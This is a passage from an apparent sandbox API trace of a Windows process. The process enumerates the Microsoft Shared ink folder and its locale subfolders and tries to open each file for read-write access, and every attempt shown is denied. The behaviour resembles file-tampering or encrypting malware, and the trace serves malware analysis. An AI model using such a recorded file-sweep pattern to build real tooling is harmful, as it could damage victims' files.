shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.649] GetLastError () returned 0x5 [0163.649] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0163.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.650] GetLastError () returned 0x5 [0163.650] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0163.650] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0163.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.650] GetLastError () returned 0x5 [0163.650] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0163.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.650] GetLastError () returned 0x5 [0163.650] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0163.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.651] GetLastError () returned 0x5 [0163.651] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0163.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.652] GetLastError () returned 0x5 [0163.652] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0163.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.652] GetLastError () returned 0x5 [0163.652] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0163.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.652] GetLastError () returned 0x5 [0163.652] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0163.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.652] GetLastError () returned 0x5 [0163.652] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0163.652] GetProcessHeap () returned 0x990000 [0163.652] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.652] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.653] GetProcessHeap () returned 0x990000 [0163.653] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.653] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.653] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.653] GetProcessHeap () returned 0x990000 [0163.653] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.653] GetLastError () returned 0x5 [0163.653] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.653] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.654] GetProcessHeap () returned 0x990000 [0163.654] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.654] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0163.654] GetProcessHeap () returned 0x990000 [0163.654] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.654] GetProcessHeap () returned 0x990000 [0163.654] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.654] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.654] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.654] GetProcessHeap () returned 0x990000 [0163.655] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.655] GetLastError () returned 0x5 [0163.655] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.655] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.655] GetProcessHeap () returned 0x990000 [0163.655] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.655] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0163.655] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0163.655] GetProcessHeap () returned 0x990000 [0163.655] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.656] GetProcessHeap () returned 0x990000 [0163.656] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.656] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.656] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.656] GetProcessHeap () returned 0x990000 [0163.656] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.656] GetLastError () returned 0x5 [0163.656] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.656] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.656] GetProcessHeap () returned 0x990000 [0163.656] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.656] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0163.656] GetProcessHeap () returned 0x990000 [0163.657] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.657] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.661] GetProcessHeap () returned 0x990000 [0163.661] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.661] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.661] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.661] GetProcessHeap () returned 0x990000 [0163.661] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.663] GetLastError () returned 0x5 [0163.663] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.663] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.663] GetProcessHeap () returned 0x990000 [0163.663] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.663] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0163.663] GetProcessHeap () returned 0x990000 [0163.663] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.663] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.664] GetProcessHeap () returned 0x990000 [0163.664] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.664] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.664] FindNextFileW 